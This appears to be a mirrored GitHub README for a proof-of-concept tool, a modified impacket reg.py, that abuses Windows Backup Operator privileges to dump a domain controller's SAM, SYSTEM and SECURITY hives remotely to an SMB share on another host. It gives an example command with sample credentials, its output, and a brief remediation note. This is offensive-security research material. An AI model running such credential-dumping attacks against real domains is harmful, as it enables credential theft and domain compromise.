Giter Club home page Giter Club logo

backup_dc_registry's Introduction

Backup Operator Registry Backup to Domain Compromise

A simple POC that abuses Backup Operator privileges to remote dump SAM, SYSTEM, and SECURITY hives.

Research credit to:

Usage

This proof of concept is a modified version of impacket/examples/reg.py and will work with the most recent impacket release installed. All supported impacket authentication mechanisms will work.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Proof

Remediation:

Treat Backup Operators domain group as Domain Adminstrators and other Tier 0 resources

backup_dc_registry's People

Contributors

scopedsecurity avatar

Stargazers

Pwnzzz πŸ’€ avatar avatar had avatar (⋆❛ ہ ❛⋆)βŠƒ.:β˜†..:*γƒ»β˜† avatar F-Masood avatar Joshua avatar avatar avatar avatar Jacob Ebben avatar LV6 avatar 5l1v3r1 avatar avatar nice0e3 avatar avatar NoHo Hank avatar KamalkaNipun avatar Rex avatar avatar Matthieu Prezut avatar avatar avatar Geluchat avatar Curtis Ringwald avatar Life avatar Bogdan Gospodaru avatar Santheep K avatar Zabsec avatar avatar Javier avatar LSA avatar avatar daiker avatar 0x95 avatar urk avatar ADι’™ε₯Ά avatar B0y1n4o4 avatar m3dsec avatar Kieran avatar avatar Jason avatar Coldfusion avatar Bert Mueller avatar Darktortue avatar avatar nobgr avatar avatar @WishJam avatar muuk avatar Jumbo avatar avatar Usama Abdul Sattar avatar Hashim Jawad avatar avatar avatar beerandgin avatar _Subnox_ avatar Ryan Baxendale avatar Cas van Cooten avatar avatar avatar avatar Abrar Fahim avatar avatar avatar netbiosX avatar Filip DragoviΔ‡ avatar

Watchers

avatar avatar avatar avatar

Forkers

askyeye nusiloot justinforbes beerandgin ceyhuncamli gavz ssxla v4nyl dagda76 zha0 fjm1995 30579096 5l1v3r1 zief f-masood sec13b zzzqzzzz

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.